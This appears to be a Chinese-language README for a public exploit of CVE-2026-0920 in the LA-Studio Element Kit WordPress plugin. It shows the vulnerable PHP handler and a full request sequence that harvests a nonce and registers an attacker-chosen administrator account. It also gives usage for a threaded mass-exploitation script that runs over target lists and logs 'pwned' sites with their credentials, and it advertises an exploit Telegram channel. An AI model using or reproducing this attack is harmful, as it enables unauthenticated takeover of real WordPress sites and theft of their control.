LA-Studio Element Kit for Elementor <= 1.5.6.3 - 通过 lakit_bkrole 参数后门实现未认证权限提升并创建管理员账户
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 漏洞利用代码最先在此发布。 在 Telegram 上关注 @KNxploited —— 获取最新披露 CVE、可用 PoC 与精准安全研究的顶尖资讯。持续更新,专为领先者打造。
CVE-2026-0920 是在 LA-Studio Element Kit for Elementor WordPress 插件中发现的一个 CVSS 9.8 严重级别漏洞。
该缺陷位于 ajax_register_handle() 函数中,该函数通过 AJAX 处理未经认证的用户注册流程。该函数未对 lakit_bkrole 参数实施任何限制——允许完全未认证的攻击者在注册过程中自行分配 administrator 角色,仅需单个请求即可实现完全接管 WordPress 管理员权限。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-0920 |
| 插件 | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| 受影响版本 | 所有版本,最高至 1.5.6.3 |
| 漏洞类型 | 未认证权限提升 / 管理员账户创建 |
| 攻击向量 | 网络 — 无需认证 |
| CVSS 3.1 评分 | 9.8 严重 |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影响 | 完全接管 WordPress 管理员权限 |
| 研究人员 | Nxploited |
根本原因在于插件 AJAX 注册处理器中缺少角色权限检查:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
为何此漏洞严重:
wp_ajax_nopriv_* = 任何零认证的人均可访问lakit_bkrole 接受任意 WordPress 角色字符串——包括 administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| 依赖 | 用途 |
|---|---|
requests | HTTP 请求、会话处理、Cookie 管理 |
colorama | 在所有平台上输出彩色终端文本 |
threading | 并发多目标处理 |
re | 基于正则表达式从 HTML/JS 中提取 nonce |
建议使用 Python 3.10+(使用了
str | None联合类型提示)。
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
打开 CVE-2026-0920.py,编辑顶部的常量以设置你所需的管理员账户信息:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
创建 list.txt,每行一个目标 URL:
https://target1.com
https://target2.com
http://target3.com
没有协议前缀的 URL 会自动添加
https://。
python CVE-2026-0920.py
系统将提示你:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
脚本会生成实时、颜色区分的终端输出:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| 颜色 | 含义 |
|---|---|
🔵 青色 [*] | 信息 — 步骤进行中 |
🟢 绿色 [+] | 积极信号 — 部分或完全成功 |
🟡 黄色 [!] | 警告 — 结果模糊,需人工复核 |
🔴 红色 [-] | 失败 — 目标不可利用或出错 |
成功利用的目标会被写入 success_results.txt:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
每一行包含完整信息:目标、凭据、登录状态、AJAX 响应状态以及所使用的 nonce。